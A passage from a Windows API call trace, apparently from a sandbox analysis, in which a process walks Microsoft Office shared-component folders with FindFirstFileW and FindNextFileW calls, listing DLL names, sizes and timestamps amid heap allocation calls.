dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0284.453] GetProcessHeap () returned 0xaf0000 [0284.453] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0284.454] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\1033\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4620012, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4620012, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4620012, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0284.457] GetProcessHeap () returned 0xaf0000 [0284.457] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0284.457] GetProcessHeap () returned 0xaf0000 [0284.457] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0284.459] GetProcessHeap () returned 0xaf0000 [0284.459] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0284.460] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EURO\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0284.460] GetProcessHeap () returned 0xaf0000 [0284.460] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0284.461] GetProcessHeap () returned 0xaf0000 [0284.461] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0284.461] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Filters\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2ca2e08, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14c6cb9, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x14c6cb9, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0284.461] GetProcessHeap () returned 0xaf0000 [0284.461] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0284.461] GetProcessHeap () returned 0xaf0000 [0284.461] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0284.461] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2e1f46, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb976f98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0284.464] GetProcessHeap () returned 0xaf0000 [0284.464] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0284.464] GetProcessHeap () returned 0xaf0000 [0284.464] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0284.464] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12910b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26737b32, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26737b32, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0284.467] GetProcessHeap () returned 0xaf0000 [0284.467] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0284.467] GetProcessHeap () returned 0xaf0000 [0284.467] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0284.467] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\MSClientDataMgr\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf472b09c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0284.468] GetProcessHeap () returned 0xaf0000 [0284.468] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0284.468] GetProcessHeap () returned 0xaf0000 [0284.468] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0284.468] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2803429, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26bb01a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bb01a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0284.468] GetProcessHeap () returned 0xaf0000 [0284.469] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0284.470] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc541ed37, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb99d23b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb99d23b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0284.471] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc541ed37, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb99d23b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb99d23b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0284.471] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcfc34f75, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcfc34f75, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee3a0b07, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x32088, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEINTL.DLL", cAlternateFileName="")) returned 1 [0284.471] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd42039, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd42039, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xdaf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBCI.DLL", cAlternateFileName="")) returned 1 [0284.472] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcede6ced, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcede6ced, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe1ba7093, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd2878, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSTR.DLL", cAlternateFileName="")) returned 1 [0284.472] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb92ab57, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb92ab57, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb99d23b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19a3ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO210.CHM", cAlternateFileName="")) returned 1 [0284.472] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc584af10, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc584af10, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc5f72047, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x26038, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALRTINTL.DLL", cAlternateFileName="")) returned 1 [0284.472] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc541ed37, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd37a9bb2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd447a605, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17b0c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1 [0284.472] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc54b7686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc54b7686, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc56a75c2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xee60, dwReserved0=0x0, dwReserved1=0x0, cFileName="msointl30.dll", cAlternateFileName="MSOINT~1.DLL")) returned 1 [0284.472] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b359a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b359a5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b359a5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAPR3.DLL", cAlternateFileName="")) returned 1 [0284.472] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xef9622ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef9622ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb99d23b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3b860, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSFINTL.DLL", cAlternateFileName="")) returned 1 [0284.472] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5ab054a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5ab054a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5ad675f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="osmdp32.msi", cAlternateFileName="")) returned 1 [0284.472] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45ad988, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf45ad988, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf45d3b76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x217000, dwReserved0=0x0, dwReserved1=0x0, cFileName="osmdp64.msi", cAlternateFileName="")) returned 1 [0284.473] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf06cb6d8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf06cb6d8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf06cb6d8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="osmia32.msi", cAlternateFileName="")) returned 1 [0284.473] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1de43d5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1de43d5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x216000, dwReserved0=0x0, dwReserved1=0x0, cFileName="osmia64.msi", cAlternateFileName="")) returned 1 [0284.473] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb99d23b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb99d23b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb99d23b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x173, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.HTM", cAlternateFileName="")) returned 1 [0284.473] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4cd4a32, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4cd4a32, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4cfac8a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2f8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 1 [0284.473] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4cd4a32, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4cd4a32, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4cfac8a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2f8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 0 [0284.473] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0284.474] GetProcessHeap () returned 0xaf0000 [0284.474] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0284.474] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xceb38292, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xceb38292, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe172e9be, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x22cad0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1 [0284.475] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xceb38292, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xceb38292, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3a0d1e6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x91aa0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1 [0284.475] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcedc0a85, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcedc0a85, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcedc0a85, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xacd8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACEERR.DLL", cAlternateFileName="")) returned 1 [0284.475] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcedc0a85, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcedc0a85, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee75a612, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xcf688, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACEES.DLL", cAlternateFileName="")) returned 1 [0284.475] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6cc6b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6cc6b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6cc6b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d680, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACEEXCH.DLL", cAlternateFileName="")) returned 1 [0284.475] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2b31ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2b31ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x248ab822, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x82c78, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACEEXCL.DLL", cAlternateFileName="")) returned 1 [0284.475] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5f4ff2d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f4ff2d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x247542da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x52a98, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACEODBC.DLL", cAlternateFileName="")) returned 1 [0284.475] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a30a43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a30a43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50a0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACEODEXL.DLL", cAlternateFileName="")) returned 1 [0284.475] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5098, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACEODTXT.DLL", cAlternateFileName="")) returned 1 [0284.476] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc3e44f2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc3e44f2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x247542da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x68288, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACEOLEDB.DLL", cAlternateFileName="")) returned 1 [0284.476] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4cd5a2f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4cd5a2f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x247542da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x318d8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACETXT.DLL", cAlternateFileName="")) returned 1 [0284.476] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb8dd674, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb8dd674, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x247ecc35, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e9ae8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACEWDAT.DLL", cAlternateFileName="")) returned 1 [0284.476] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56f7a52, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56f7a52, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x247ecc35, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7aa88, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACEWSS.DLL", cAlternateFileName="")) returned 1 [0284.476] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc4511f57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd5a15b9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd5a3bdf3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd7848, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ADAL.DLL", cAlternateFileName="")) returned 1 [0284.476] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x247ecc35, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x247ecc35, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x247ecc35, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44e23, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AirSpace.Etw.man", cAlternateFileName="AIRSPA~1.MAN")) returned 1 [0284.476] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffddb96c, ftCreationTime.dwHighDateTime=0x1d327e7, 